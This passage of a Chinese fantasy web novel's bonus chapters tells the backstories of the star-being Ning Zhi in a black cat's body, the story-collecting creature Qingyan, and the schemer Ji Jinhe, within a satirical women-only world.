“我不比你知道的多,你问我也没用,我走了。”过去的姬拾月放下悬浮坐着的双腿,然后慢悠悠地走回水中去了。 “不过,何必相识,人各有命,在各自轨道便好。” 回到时空局后,交代了一些事情,忙活到了晚上。 “今天月亮不错。”宁秩没话找话。 “我见过更好看的……”三花喵仰望着天边特别大的半个月亮。 宁秩觉得这是个打开心扉、交流感情的好时候。 “是吗?我不信你见到过的会比我见到过的……” “嗨,朋友们,在干什么呢?”姬珠夜看见她俩坐一起闲聊就凑过来,“带我一个呗。” “没事就帮着培训一下时岳。”宁秩用力拍了一下姬珠夜的腿肚。 “我这不是关心你俩嘛,”姬珠夜往后一跳,离宁秩远了些,“再说,003不说愿意看着她吗?我可不抢它的活。” 最后三个家伙一起看了会月亮。 看着看着,姬珠夜突然大声说:“今天月亮真好看啊。” 说完这句后,她又用平常说话时的音量讲道,“也不知道姬拾月这个家伙跑哪去了。” 宁秩知道姬珠夜只是在怀念,没有在问答案,而且自己也不知道答案,就没有多说。 她只是安慰了一句,又继续看月亮了。 “也许她现在也在看月亮。” “是啊,这个家伙最喜欢看月亮了。” 对时岳的魔鬼训练,最终还是姬珠夜去的,宁秩也就偶尔指点两下。 003有事没事就在时岳旁边鼓励上那么一两句。 别的系统都有事做,宁秩看003整日游手好闲的,觉得有必要给它派一点活干了。 “宁秩,我一定会完成好任务的。”003认真地说。 之后不长不短的一段时间里,时岳发现一直给她猛灌鸡汤的003没再来过了。 “终于安静了。”时岳心里空落落的同时,更加努力地接受训练。 “003,早晚我们都会成为最好的同事的,加油吧!”时岳微笑着在心里说。 番外:宁秩的过去 “三花,你是说想知道我的过去?好吧,既然你对本少姥那么好奇,我就勉为其难告诉你吧。” 一轮金黄明月下,万物寂寥,宁秩盘腿坐在屋顶看星星。 三花喵就在她身旁,听到她这么说,点点猫头:“对啊,我很想知道你的过去,想知道你为什么成为了你。” 宁秩看了三花喵一眼,转而又盯着远方高树上稀疏的几颗星星,她轻轻地笑了笑,比薄薄暮夜的月光还要温柔。 “我的过去啊……” 宁秩不是出生就有名字的,事实上很长一段时间,她都是没有名字的。 在宁秩诞生的地方,充满了新生与灭亡,吞噬与被吞噬,唯有强大,才能存续。 宁秩从来都没有见过她的母亲,她是一颗星辰,自成一个世界,也许她的母亲也是一颗巨大的星辰。 不过她们星星是不论母亲的,也不知道感情为何物。 宁秩就在星源之地待了几千几万年,直到那一天,出现了一个女人。 宁秩看不清这个女人的脸,因为她是由光构成的,宁秩问她是什么,她只说她是女人。 女人还说宁秩也是一样的,因为星源之地曾经也是一个女人。 女人神情有些惆怅地说,“那个女人是我的母亲。” 宁秩不懂这团光声音怎么突然低了下去,她只想吞噬女人,因为她感受到丰厚的能量。 但是一触碰这团光,宁秩就不太舒服,好像几千年没有吞噬能量一样,所以她隔了一段距离,观察女人。 可是女人看了这里一会,就要走了。 宁秩有些着急地问她:“你去哪?” 女人没有回头:“我去外面的世界看看。” “外面的世界有什么好看的。” “是啊,有什么好看的,但是我的妈妈就想去看看。”女人同样感叹。 最后她对宁秩说:“不过,你以后也可以去看看。” 有什么好看的,宁秩曾经也踏出过星源之地,但感受到那里稀薄的能量,就立刻回来了。 但不知为何,往后的日子,宁秩总是想到这个女人,想到她叫宁秩到外面看看的话。 宁秩看看自己呆了很久的地方。 星源之地,星辰总是在闪烁,从宁秩诞生,到现在,都未曾变过。 宁秩还是到外面看看了。 “不是因为听了那团光的话。”宁秩说。 考虑到身躯太过庞大,出门在外不方便,宁秩把自己的意识凝聚成了一团光。 宁秩不太懂外面的世界,所以不小心弄倒了人类的房子,吓到了好多人,她们坐直升机追着她跑。 宁秩想当然地以为她们也想吞噬自己。 可是她们都太弱了点,武器打在宁秩身上都没有什么感受。 而且这些人,身体里也没有蕴含多少能量,宁秩都不想浪费时间,吞噬她们。 之后宁秩就变成和她们一样的人,但因为没有做人的经验,闹出各种啼笑皆非的笑话后,就被发现了。 宁秩觉得当人好麻烦,后来宁秩就不想当人了。 宁秩看见她们都很喜欢猫,然后她到一只死去的黑猫身上了。 那是一只绿眼睛黑猫,它是被一个男人给踢死的。 “原来不是所有人都喜欢猫。” 宁秩也让那个男人,像黑猫一样被踢死了。 一只三花母猫把宁秩当成它的孩子带走了。 它喂养了宁秩,它教宁秩捕猎,它从来不向路人讨要食物,她们一起抓老鼠。 宁秩在黑猫的身体里,默默地观察这个奇怪的世界。 长大后,三花母猫把她赶走了。 然后,黑猫宁秩离开了。 她知道怎么坐公交车,知道如何避开车流。 宁秩是在一个夏天遇见小女孩的。 小女孩名字叫曹涛宁,有一个很爱她的妈妈,一个很讨厌的爸爸。 曹涛宁看到宁秩,很喜欢她,总是想靠近她。 宁秩对她的食物不感兴趣,但有一次曹涛宁伤心,哭得太厉害了,宁秩有点好奇,就勉为其难地站在旁边,听她说了一个小时。 但曹涛宁好像误会了什么,还想把宁秩抓起来,带去医院。 宁秩跑了。 曹涛宁伤心了好久。 但后来,宁秩又回来了,在听到曹涛宁说想要她爸爸死后,宁秩把那个离昏后还来骚扰曹涛宁妈妈的男人从十三层高楼扔了下去。 宁秩有时候会到曹涛宁家里去。 宁秩理会她,完全是因为觉得她讲话的方式很搞笑。 而且还会跟她讲许多稀奇古怪的故事。 曹涛宁脑子里有各种稀奇古怪的想法。 后来曹涛宁发现宁秩的特别,她非但不害怕,还非常兴奋地说。 “听说黑猫是女巫的猫,猫猫,你是女巫吗?” 宁秩从不回曹涛宁话,只是舔着爪子,看她一眼。 好像在说,你在想屁吃。 但曹涛宁是一个完全沉浸在自己世界的小女孩,她不仅给宁秩编造了身份,改编了她们相遇的故事,最后还拉着宁秩自导自演。 “世界之外是一个女人,世界就是一个女人的子宫,而我们都在女人的子宫里。” “你是猫我是人又怎样,我们还不都是由她孕育而成的——孩子。” “所以,黑猫,女巫,你可以叫我姐姐。” 不过宁秩有时候还是挺喜欢曹涛宁给她讲这些个与黑猫啊女巫啊有关的改编故事。 因为在曹涛宁讲的故事里,每一个宁秩都很厉害。 宁秩虽然嘴上不说,但每次听,蹲在沙发上时,尾巴都会翘得直直的。 “还是一只喜欢听好话的臭屁猫呢。” 曹涛宁从一个小女孩,变成一个少年,再到成年,最后老去。 宁秩听了她很多故事。 “她提着灯,是为了去杀她的王兄,因为她想当王。” “跟妈妈吵架后,和姥姥互换了身体,大家都笑了。” “全世界都穿越到了黑猫主导的世界,成为黑猫的虜仆。” “注意看,这个女人能够修改常识,她说,女人第一性。” 没得有趣的故事听后,宁秩很伤心,她觉得自己一定没有因为曹涛宁。 毕竟谁会为一个总是想抓她去绝育的人伤心啊。 宁秩走在街上,不少人看到她,但都不敢去逗弄她。 因为宁秩这只黑猫看上去挺凶的。 宁秩在墙上跑步,跳到树上,再飞跃屋顶。 宁秩感受到空气当中的风。 直到有一天,她蹲在广场,看见大屏幕播放新闻联播,里面正在播放大型游轮建造完成的消息。 宁秩想起来了那个会给她讲故事的人。 明明这两件事没有任何关联,但她就是想起了她。 宁秩想,有时候我们就是会莫名其妙地想起过去的事,逝去的人。 宁秩忽然有了一个心愿,她想要把曹涛宁梦中的世界建造出来。 她想要曹涛宁住进这个世界。 于是宁秩耗费能量,一次又一次地修改这个世界。 无数平行空间被宁秩创造出来,又因为不达标,被她删除掉。 直到第五十五个新世界出现了,宁秩才稍微满意,她小心翼翼地把曹涛宁投入这个新世界当中。 然后变成一个和黑猫脸型有点像的女人,特意保留了鳞片般闪亮的绿眼睛,去见曹涛宁。 曹涛宁已经不认识她了。 “我叫曹涛宁,波涛的涛,安宁的宁。” “我叫宁秩,宁刚好是你那个宁,秩是秩序的秩。” “怎么样,交个朋友吧。” “朋友,你的眼睛好特别啊。” “这样你以后如果再次遇到我了,就能够很容易地认出我来啊。” “真是一个浪漫的说法,不过你的眼睛只是你的眼睛,这是你的妈妈给予你的,只为了让你窥见这个世界,从来不是为了旁的东西。” “你能给我讲一个故事吗?” “好啊。” “我明明讲的是一个搞笑的故事,你怎么看起来有点难过的样子。” “真是一个奇怪的人啊。” “……” 三花喵想,宁秩从选择留下来听那个小女孩哭诉开始,就已经有了感情吧。 或者更早,从三花母猫捡到她后。 “很不可思议吧,我竟然把珍贵的能量浪费在这上面,可是我都不后悔。”宁秩说。 因为想做的事也不能叫做是浪费啊。 反正宁秩是这样认为的。 这次提起过往的谈话后,时隔多年,宁秩再次回到她所创造的世界。 她读到了曹涛宁大作者的书。 翻开后,看到了作者本人亲自题写的序言。 “因为有人对我说过,我要是写故事,一定会很有趣。反正也不知道做点什么,那么就随便尝试一下吧。 然后我开始想,要写点什么好呢? 我一直都很敬畏黑猫这种这种动物,她让我想起神秘,想起女巫,想起古老的钟摆。 我会觉得很有趣。 于是就有了《阁楼的黑猫》的诞生。” 宁秩合上了书。 旁边有人惊奇地看着她。 宁秩昨天干了一件大事,有点困倦了,所以就打了个哈欠,懒散地问。 “怎么了吗?” “没事。”旁边的人想她的眼睛或许是什么材料的效果吧。 因为同样喜欢《阁楼的黑猫》这本书,所以才Cosplay。 谁都知道,这本书里面的小朋友就是绿眼睛,原型其实是作者本人的某个朋友,普普通通但气质独特,在人群之中一下子就能够认出来的类型。 旁边的人一看到宁秩,就觉得她是《阁楼的黑猫》书中的人物走出来了。 太像了。 小朋友的感觉太像了。 旁边的人尽力不去看宁秩,跟自己的朋友讲这件事,并且在最后通过意识网说。 [真希望我姥姥两百三十岁生日的时候,我能够看到她出演《阁楼的黑猫》。] [如果《阁楼的黑猫》小朋友长大,应该也是这个样子吧。] 说完之后,注意力回笼,旁边的人还想偷看宁秩一眼,但环顾四周,她已经不见了。 “我还想和她说几句话……” 巨大透明玻璃窗外,蔚蓝天空延绵不断,不知哪里是尽头。 “我以为你会多留一段时间呢。” 在世界之外,三花喵在等宁秩,它看到宁秩,打趣着这么说。 宁秩笑笑,对它说:“每个人都有自己的旅程啊,而且三花,虽然你没有说,但我知道你在等着我。” 现在她们要继续自己的旅程了。 “我们走吧。” 所以最后宁秩这样说,然后她们化成点点星光消失在这里了。 6. 第 6 章 番外:她们的故事 庆衍是存在虚无之中的一种妖,与虚空兽不对付。 因为每当她们收集到一些故事,兴高采烈讲述给大家听,虚空兽就会在旁边嘁嘁嘁。 “这有什么的,我还……” 然后吹嘘她们自己历经多少时空,又见过多少故事。 可能是自诞生起,第一只庆衍和第一头虚空兽就有仇吧。 她们吃饱喝足,看看花,看看月,看看海,看看悬崖,看看大地,看看天空,然后看着看着就有关世界本质与认识方面的问题进行了一场长达千年的辩论。 庆衍一族重主观感受,经验与情感为主,而虚空兽是理性派,还特别爱解构一切事物,喜好抬扛任何一只遇见到的庆衍。 两个种族谁也不认同谁,反正就是各种互相鄙夷。 每当一只庆衍拉着大家讲自己新得来的故事时,就会出现一头虚空兽听后指指点点。 “我说你们庆衍讲故事能不能如实,不要加上自己的主观臆测。” “什么母女之情,说得那么好,蛇和老鼠也能产生持久稳定的感情我是不信的。” “感情是什么,在我们虚空兽看来,这与个体与个体,个体与世界之间的关系是密切相关的。” “不是说有它才有了关系,而是因为个体与另外的个体或者世界产生了某种联系,形成了关系,才有了这个词汇用以形容前者。” “你不能在别人疑问一个老鼠为什么会这么脑残,不为蛇拥有想要吃掉自己的欲望而警惕的时候,仅仅是拿她太爱她的蛇妈妈来解释。” “我认为这其实是很复杂,跟各种因素相关,你们庆衍倒也不用拿着你的主观看法,把她们两个的关系按进这套模板之中。” 然后还会进行全面、具体、有理有据的分析。 庆衍觉得虚空兽很无趣,虚空兽则是觉得庆衍有些想得太多,而有些又想得太少。 没有讲故事的人会希望有兽在下面挑剔,甚至是喝倒彩。 庆衍虽然爱好和平,但也不是没有脾气,有些庆衍会编故事报复。 在她们所讲述的故事之中,虚空兽虽然强大,但都是愚蠢、令人发笑、脾气暴躁的反面角色。 庆衍一族众多,故事传播广泛,因为这些故事,虚空兽在跟异族交朋友这件事上难度可增添了不少。 于是虚空兽就愈发爱黏着庆衍了。 最近发生了一件令庆衍一族感到烦恼的事。 因为虚空兽也开始讲故事了。 虚空之中各处的庆衍们纷纷窃窃私语议论这件事,虚空兽这样做有什么目的? “我看虚空兽说不定是想取代你们的位置呢?”看客之中,有一头白泽兽看好戏地说。 “就凭她们?”庆衍不屑地说,“搭载别的种族去不同时空倒是可以,讲故事还得是我们庆衍。” 虽然是这样说了,但庆衍还是在意这件事的。 正巧其中一只庆衍初出茅庐,想着要去别的世界找一个感人至深的好故事呢。 “我到了那个地方,很奇妙,那里的时间都是静止的,我的意思是,那里的生灵,能够永生不死。” “永生不死的意思不是指躯体永不消亡,而是指灵魂永存。” “我们都知道,没有任何种族能够灵魂不灭,哪怕是我们虚空。” “这样的存在接近神了,我所讲的神是,更高纬度的那些强大生物。” “活在星辰宇宙的长河里,永远能够抵达史书尽头。” “她们也许就是这样的存在吧,但她们又说不是。” “其中一个穿着月色暗纹长袍的女告诉我,这里是生界。” “她们每个女都是这里的巫祝,是这里的神明,和我理解的神不一样。” “女就是女族,她们以生界生灵躯体死去的气息为食。” “女族议事之处名为娂门,是一道通向未知世界的虚幻之门,而在娂门之上,有一排眼睛,是生界之民维持秩序、求得公平的象征,她们称之为娂门之眼,在娂门之下,经受其注视,议理论事,乃为娂平之视。” 听着虚空兽在那里侃侃而谈,庆衍对那个世界产生了浓厚的兴趣。 不管是永生不死的设定,还是神奇的娂门,都在告诉庆衍,这背后有丰富大量的故事可供挖掘。 庆衍想去那里,但她却不知道那个世界在哪里。 后来,在那头讲故事的虚空兽再次准备前往其它时空的时候,庆衍偷偷藏在了她白色毛茸茸的耳朵里。 虚空兽出行有很多种可能。 而在虚空兽一族当中,有一项古老的习俗,那便是每头虚空兽在即将死去之前,都要前往另外的世界,用兽身扩大虚空。 但庆衍没想到,这次虚空兽便是为此出发的。 来到天昭后,虚空兽在时空夹缝之间逡巡了很久,她幽幽地叹息。 “好不容易才记起位置,找到这个世界来,没想到老朋友们都逝去了。” 庆衍立刻竖起她的长耳朵。 “出来吧,我一直知道你在我的耳朵里,庆衍。” 庆衍出来了,坐在虚空兽耳廓内侧的地方,两只脚晃呀晃。 “你想要做什么?”庆衍问。 “放心,这次不是想吵架,”虚空兽好像知道她内心的想法,“我们暂且不争辩虚空兽与庆衍之间无聊至极又伟大的重大议题。” “我让你搭载过来是想要你记载一下故事。” 虚空兽是瞒着阿妈阿姥和阿姨们,偷偷来到这个世界的,那个时候她还是个幼崽,而这里也尚且只有雌性的存在。 她落到地上,奔跑着,经过森林,吓飞长着翅膀的怪虫和鸟,来到一片开阔的空地。 她到空地旁边的河里洗了个澡。 她沐浴在阳光下,抖落身上的水珠。 水珠洒到几里开外的地方去,突然,一只长相稀奇古怪的大鱼飞向天空。 虚空兽仰起头看着,也猛地冲出水面,扑上去追。 “哪来的幼崽?真讨厌。”大怪鱼嘴巴长得大大的,牙齿很锋利。 虚空兽落到河里,河面激起了一个巨大的水花。 “你是新出生的吧。”河里传来一道幽幽的声音,虚空兽依旧听不明白,她吓得把前爪从河里伸出来。 然后是轻轻的笑声。 虚空兽从河里一跃三丈高,从河上扑到了河岸。 虚空兽抬起爪子,犹豫了一下,然后就看见河在慢慢地站起来。 虚空兽黄色的眼睛瞪大,她趴在岸边看,随着河的身影移动目光。 河像一个人,弯着的腰逐渐直起,然后站了起来。 虚空兽碰了一下正对着她站起来的河面,一条黑色的怪鱼跳出来,冲她龇牙咧嘴,吓唬过她后,又跳回了河里。 河在慢慢地转身,河的背面是土,顶部长了一棵小树苗。 虚空兽昂起了头。 后来虚空兽逐渐能够听懂河的语言。 河说:“上次你打扰到鱼产卵了。” 河告诉虚空兽,神在孕育世界万物。 虚空兽歪歪头,用虚空兽的语言说了一句:“那我们岂不是都在神的子宫里了。” 河问她说了什么,虚空兽摇摇头,这时,天突然变得很黑,她抬头,看见黑漆漆羽毛一样的东西。 “是阳鸟。” 足足过了半个时辰,阳光才重见天日。 虚空兽盯着阳鸟远去的方向,然后奋力去追逐。 “那时候——”虚空兽开口说,庆衍双手扶颊,蹲在虚空兽耳朵里,认真投入地听着。 “我遇见了很多,也交了不少朋友。” 虚空兽再次请求庆衍把一切都记录下来。 “肯定的,”庆衍说,“我们庆衍不会拒绝任何一个故事,就算你是讨厌的虚空兽。” 虚空兽不是按事情发生的先后顺序讲给庆衍听的,她想到哪里就讲到哪里。 “妲是我追逐阳鸟时碰见的,她长着两个角,身后有羽翼,手中拿着树干做武器。” “就这样,妲用满月潮汐所凝聚之血,混合日月星辰之力,拿神之土捏出来了小人……” “这些小人可有趣了,总是围在一起叽哩咕噜不知道在说什么。” “我有时候会横冲直撞把她们冲散,妲就会轻轻瞥我一眼,我垂下尾巴怏怏地走到一边。” “过了一阵子,分散的小人又会聚集到一起,叽哩咕噜不知道在干什么。” 虚空兽讲完她在这里所经历的所有故事后,从天空落了下去。 庆衍看见虚空兽嘴里吐出来了一个又一个金铃铛。 庆衍急道:“你先别死啊,我还有问题……” 最终庆衍没有去那个世界,她留在天昭,想着反正都知道那么多了,干脆就记录这里所发生的故事吧。 虚空兽离开后的故事需要收集。 这样想着,随着虚空兽降落,然后落在铃兰花上的庆衍就打开平常收敛着的翅膀,飞向了远方阳光下的草尖上。 庆衍站了草叶上,她们的故事还在继续上演,而她是一个忠诚的记录者。 庆衍持之以恒、坚持不懈地寻找着,那些被刻意掩埋或者篡改的属于她们的真相与故事。 “上古时代早期,距今约一千万年,万物孕育,生命爆发,天地璀璨。” “上古时代前期,距今约八百至五百万年,各族成长,妲造人,人夹缝生存。” “上古时代末期,距今约三百至两百万年,妖族辉煌时期,始祖鸟主宰世界,人类以部落的形式分散共同生活。” “远古时代早期,距今约三十万年,妖族衰落,人类建立了第一个国家——女。” “远古时代中期,距今约十三万年前,人之中出现了一种残缺,少数婴儿出生后拥有畸形器官,并且暴躁易怒,不擅与她人交流与合作,统治者婋下令遍寻能人异士医治,后恢复如初。” “远古时代末期,距今约八万年,天外入侵,人族搬迁至外界,然后便是长达数千年的冰封。” “史前时代前期,距今约五万年,新人类诞生,分外女斐两种性别,部落为当时的主要社会组织形式。” “史前时代中期,距今约八千年,母系与父系部落开战。” “史前时代末期,距今约七千年,父系部落占据了汜水以北的地界,并且占据男这个字作为其性别的代称。” “巫鬼时代前期,距今约六千五百年,妖族复苏,修道时代开启。” “巫鬼时代中期,距今约两千年,父系部族被驱赶至北方大荒漠。” “巫鬼时代末期,距今约一千年,天外邪恶之书到来,自此历史走向被定型,汜水娘娘研究称,此书在远古时代中期可能就已到来。” 之后便是被外来之书影响过的世界,庆衍随便走走。 那一日,她发现了虚空兽掉落的一只金铃铛,她刚想去捡,一只矫健凶恶的黑猫就窜了出来,叼走了它。 “喂……”庆衍跟着黑猫来到了一个宅院里的柴房。 “小黑,你不要再叼乱七八糟的东西来了。”柴房里有一个脏兮兮的小女孩。 然后庆衍见证了一个又一个不屈的灵魂自泥泞升起。 她们与世事周旋共舞,也胜利了。 自此,天昭不可有炉鼎。 夏夜群星闪烁,问秋谷之役后,一个女人抱着一个婴儿来到了这里。 她看着满地的尸体,怔怔道:“季家,季家要亡了。” 但女人没有沉浸在悲伤多久,就冷静了下来,她把季家所有人都捡了出来,吸走骨头里的骨髓。 女人回头看了一眼来时的路,就头也不回地向前方走了。 季锦和不喜欢自己的阿娘总是提季家的事。 她也不记得当时季家大乱,自己有没有像母亲回忆的那样,似有所察,悲伤大哭。 季锦和更愿意相信自己是饿了。 在又一日被母亲耳提面命要求刻苦修炼只为终有一日光复季家后,季锦和扔掉剑,愤怒大喊:“季家就活该被灭掉!” 教导她的母亲愣了一会,然后便是发抖,手掌往上抬,季锦和拔腿就跑。 晚上,季锦和落了满身雪回来。 母亲在灯下对她说:“我儿,你说得对,季家这种在女人身上吞食血肉的家族就应该被灭掉。” “但是,孤身一人,就算是为了拥有自保与选择的权利,也得好好努力啊。” 公平永远都不是对弱者的。 季锦和很喜欢在雨后初晴,背着个小箩筐,上山采摘各种菇菌。 这样的时候是宝贵的,因为季锦和在母亲的安排下,除了修炼,其它事可不为的话都不必为。 那天,季锦和在山上采菇尽兴到忘记归去的时间。 回去之时,夜已经黑,季锦和心里慌得不行,埋怨天黑得太快了。 “母亲……” 母亲还未入眠,只是端坐在案前,青灯幽冷,墙上烛光晃动。 “回来了。” 季锦和低垂着头颅。 “我知道你这个年纪贪玩,”母亲平淡地说,“也怪我,光教你强身之术去了,连传授事理这么重要的事都忘了。” 母亲盯着幽幽烛火。 “以后你就会明白了。” 季锦和被母亲带着去了各种地方。 第一个是酒楼,母亲把她扔过去当小厮。 在酒楼前一个月的时间里,虽然忙,也遇到过不开心的事情,但还算是稳稳当当平安度过了。 可是,一个纨绔少男带着牠的狐朋狗友走进了酒楼。 牠们喝醉酒发酒疯,把季锦和踹了。 季锦和卧病在床,求不到公平。 “谁敢招惹牠们啊?” 就像纨绔少男自己说的,“哼,我姐姐嫁的可是楼氏少爷,楼家跟陈家沾亲带故,你们这群贱民也敢惹我?” 胸口很疼,这股恨意闷在其中,不得发泄。 往后很长的日子里,都是这种感觉在支撑着季锦和走下去。 令母亲感到欣慰的是季锦和终于不用说也可以把所有时间都用在修炼自己上了。 季锦和脸上总是温和地笑着,就算是面对再讨厌的人也是这样。 她似乎是一个没有喜恶的人。 要是有她想除掉的人,她不自己动手,而是寻找可供利用的矛盾,暗中唆使又挑拨,造谣生事,推着别人动手,自己则躲在幕后,静看好戏。 要是有什么挡住了她的去路,她搬走后,也要不露痕迹地提醒同样得利之人,使其感激自己。 后来,谁都不知道,陈家被不肖子孙月升灭掉还有季锦和的手笔。 “多多提醒一下你们月升小姐,她的未昏夫婿晚上白天的时候都忙着躺在哪个男人床上,外人又是怎么看待她们之间的关系。” 原本季锦和是想趁虚而入,没想到月升直接就把陈家和未昏夫家给灭了。 但也没关系,季锦和利用这件事,又搞死了楼家,之后又把从前得罪过她的纨绔少爷喂给了食人鱼吃。 “你在水里挣扎的样子真可笑。” 怎么就跟江少华成为好友的,季锦和有些忘记了,她只记得那时,杏花吹满头,江少华骑马行于郊野,看见林下舞剑的季锦和。 少年坐在高高的马背上,阳光落在她红色发带与束起的乌发表面,她朗声道:“好剑术!不知阁下可否一比?” 而等待已久的季锦和也不忸怩,挥舞着剑就冲向马背之上的江少华。 江少华并不是季锦和唯一想要利用的人,在与其成为知心好友后,季锦和又借此同多个掌权握势之人交往。 其实从一开始就不是真心的。 江少华大概也会后悔在发现季锦和隐约不对时,自己还给她找理由吧。 “比起那些一心想找一个好夫婿的女人,季锦和还算清醒。” 清醒个屁,这种随时可以为了利益背刺自己的人,就不应该深交。 有时候忠诚很重要。 尽管江少华知道,有没有季锦和的背刺,结局也不会改变太多,因为她的母父从她一出生开始就在背刺她了,只是季锦和让她江少华伤心了。 季锦和后来其实是知道江蔚然不是自己的孩子的。 因为她为了更进一步,修习了季家禁术,血脉骨肉相吸大法——只要是季家之人,就能够感应到对方的血脉与灵魂。 而她没有在江蔚然身上感应到血脉牵引的存在,却在之后见到了被换身体的谢雪瑶。 牠才是能够引起功法震颤的、季家的孩子。 季锦和不动声色,一如往常,然后还是按照最初的计划谋杀江立汜。 可惜被发现了,季锦和意识到自己要失败之时,费尽全身力气把江立汜给阉了,但没把牠给彻底弄没气了,很遗憾。 死之前,江蔚然闯了进来,看见了一室死人,尚且留了一口气,浑身是血,晕了过去的江立汜,以及在牠身边,刀都握不起,仍然在努力切割牠的季锦和。 “蔚然,杀了牠。”季锦和眼睛睁得很大,就这么直勾勾地看着江蔚然。 江蔚然走了过去,蹲下来,接过了刀。 这时,季锦和突然瞪大眼睛,在她耳边说:“你要记住,杀了谢雪瑶!” 江蔚然呆呆的,仿佛被定在了原地。 当她缓过神,举起刀的时候,一个瘦猴一样的男人走了进来。 牠为江立汜临时医治了,牠焦急地带走了江立汜。 一个婆子进来,就要带走江蔚然。 江蔚然扭头看她,眼泪已经从眼眶落了出来。 “哎,你说锦和小姐倔什么呢,明知道江立汜身上有那两个……”婆子含糊地带过,“……护身。” 后来,宁秩来到这个世界,庆衍记录下了更多故事。 季锦和死后是没有墓的,也没有人为她立碑。 江蔚然从芩川到金陵,她没有在任何地方找到她的尸骨。 有一天,江蔚然经过山野,立了一个碑,上面没有写任何字。 “阿娘……”她轻轻地念道,声音小到仿佛没有在说话,只是动了动唇。 通常人们将男人存在、女人奋起反抗的时期称之为前代。 前代之后的时期,男人逐渐失去牠们的姓名,女人们也都慢慢地只让女人出生了。 到了后代两百年,世界早已没有任何一个男人的存在,而后代一千年的时候,没有人能够准确说出牠们真实的样貌了。 甚至有学者认为,男是一种长着蟑螂身子、拥有五足的丑陋怪物。 计航从出生到现在十三岁了,从来都没有见到过男这种东西,所以当她幻想前代时,总是会在男上犯愁。 “男究竟是个什么样子的呢?” 计航知道一定是肮脏、恶心和丑陋的样子,但具体是什么,计航想象不出。 而计航准备写的史同文当中,正需要描绘男性角色。 因为推崇忠实地记录,计航要写的,与传统影视作品以及小说之中的前代有所不同。 计航打算还原出当时的真实情景,自然就不会像那些潦草雷文一样,把女人写得绝顶聪明,但却仍旧被愚蠢的男压制。 太不合理了! “真是像某个学者说的那样,男能够散发一种激素,精神控制一些女人,让她们把牠们当成自己的孩子?” 计航坐在桌前,写女人的时候,下笔如流水,可要写男的时候,便滞涩不通,头都要秃了硬是没有写出一个字来。 过了许久,计航才结束跟电脑大眼瞪小眼的情节。 “要是从来都没有男出现过就好了!”计航愤怒道。 “哎。” 计航心想,要不再查查资料吧。 计航是个严谨认真的人,因为现在与那时的大环境截然不同,所以她查阅了相当多的资料。 遗憾的是,那些资料只让她对当时的情形有了大致的认识,真情实感倒是没有那么多。 再次在永世月学术共享网站查询、翻看前代的相关资料。 过了一会,也没有心浮气躁,只是计航停了下来。 她想:“反正我要写的是女人,男什么样想那么多干嘛!” “大家关心的都是女人,emm,只要把女人写好了,就是一部好作品。” “所以说,我更应该知道当时的女人是什么样的。” 想通后,计航心情舒畅,哼着歌。 她算是明白了,为何那些人在写男的时候,总是能够把牠们写得如此单薄又令人作呕了。 为什么要为不存在的玩意耗费精力呢?有些东西表现成那样,是有它自己的道理在里面的。 计航也不为难自己了,反正男出现的戏份也没多少。 要不是因为要纪念前代女人,牠们在历史上根本就不会被记录下来。 “男能够欺骗到女人,不是因为女人不够聪明,而是因为男太无耻了。”计航想,只要写出这点就好了。 计航打算去询问自己所选读的娂学老师,前代的女人是以怎样的方式生活的。 计航的娂学领慧,谢屹川是明学经派的创始人谢环瑶以及她的女儿谢菁华的后人,在研究真气上颇有建树,著有《安论》《理论》《得论》等经典作品。 最重要的是谢屹川家中有一本《游学录》,详细记载了谢菁华游学十几年所经历之事。 计航选择在一个天晴的日子,前往谢屹川家中拜访的。 庆衍就是这个时候和计航碰上的。 “你好!你好!”庆衍扇着翅膀,在御剑飞行的计航后面追。 正专注于御剑飞行的计航好像听到了什么,她眉毛一皱,分神一瞬,剑就晃了一下。 计航立刻开启自动御剑模式。 “谁啊?!” 庆衍气喘吁吁地落到计航的肩膀上。 “是我,是我,我是庆衍。” “庆衍?” “没错,我之前睡了一觉,刚刚醒来没多久,”庆衍叽叽喳喳地说,“对了,现在已经是什么时候了?” “永世月一千年零五十,你不知道吗?”计航满眼好奇地问,“你是哪里来的精怪?” “我是想问问几点了,好吧,一个擅长记录故事的妖罢了。”庆衍说,“我正在记录无数个小人物的生活,你可以给我讲讲你吗?” 计航从来没有听说过有这样的妖,她心想,不会是桓峨、姬岁稔她们在恶作剧吧。 “作为交换,我也会为你讲这里过去发生的故事。” “成交!”计航一边联系异常局,一边对庆衍说。 “不过我说的时候,你也要告诉我,如果我在过去,会和现在有什么不同。” 这对庆衍不算什么, “当然可以了。” 没过多久,计航就联系到了异常局的川媚。 “其实我的生活也没什么特别的,和每一个普通的女人一样……嗯?是要从小时候开始讲起吗?”计航一心二用,通过意识之网跟川媚交流。 庆衍点头,“从出生就开始说起,那就更好了。” “好,那就从我出生开始说起吧。” 计航跟大多数永世月年间出生的孩子一样,在妈妈和阿妈们的期盼下出生了。 计航跟着妈妈居住在多姦婮,那里真气充足,环境优美,配套设施齐全,妈妈和阿妈们经常一起组织活动庆祝节日。 有传统节日,像月信节,汜水娘娘宴会节,天道节,等具有纪念意义的全民狂欢节日。 还有按照不同年龄阶段或者社会身份划分的节日。 其中就有几乎占据了女人每个年龄阶段的节日有老人节、青年节、少年节、儿童节。 以及因为社会身份所能够过的节日,领慧节,科学家节,农民节……各种各样,五花八门。 也有在生活之中后来兴起的节日,比如不吃香菜节、杀鸡节、钓鱼节等等这些小众的节日。 以及多姦婮自创的节日,每个女人都为认为,孩子是汇集天地之灵、在母亲怀中孕育的神明之子,所以在神诞日之后,大家也会祝福每个孩子健康昌盛、快乐多福。 计航已经连续十几年在神诞日之后抽签抽到写着“书中之灵”的木签了。 “所以我一直认为,我必须创作出一本书。”计航说。 节日实在是太多了,到后来计航懒到家里根本就不出门。 “多姦婮的女人实在是太喜欢社交了!”计航忍不住跟庆衍吐槽,“娂门那里就不一样,不过她们都是修炼狂魔,聚在一起大多都在交流经验,甚至还有学术讨论的。” “说回我小时候吧。”计航收起表情,继续回忆。 计航的母亲是一个非常热爱社交的女人,曾经组织了好几次多姦婮大型节日,拥有着第一面就能赢得她人好感的神奇技能,多姦婮就没有她不认识的女人。 “所以认识我的也有很多。” 她们总是跟计航打招呼,向她的母亲关心她,还说要当她的阿妈。 “我真的被这些过度到有些泛滥的爱烦扰到了,”计航叹了一口气,“也不是责怪她们。” “只是有人就是偏向于独来独往、偶尔社交。” “有一次我吃了整整三大碗饭,有一个阿姨说我胃口好,有干劲,说我以后肯定会大有成就。” “其实这个也不能太当真,每一个小孩,她都能找到角度夸奖。” “反正我们小时候也没有什么特别的,就是玩玩玩。” 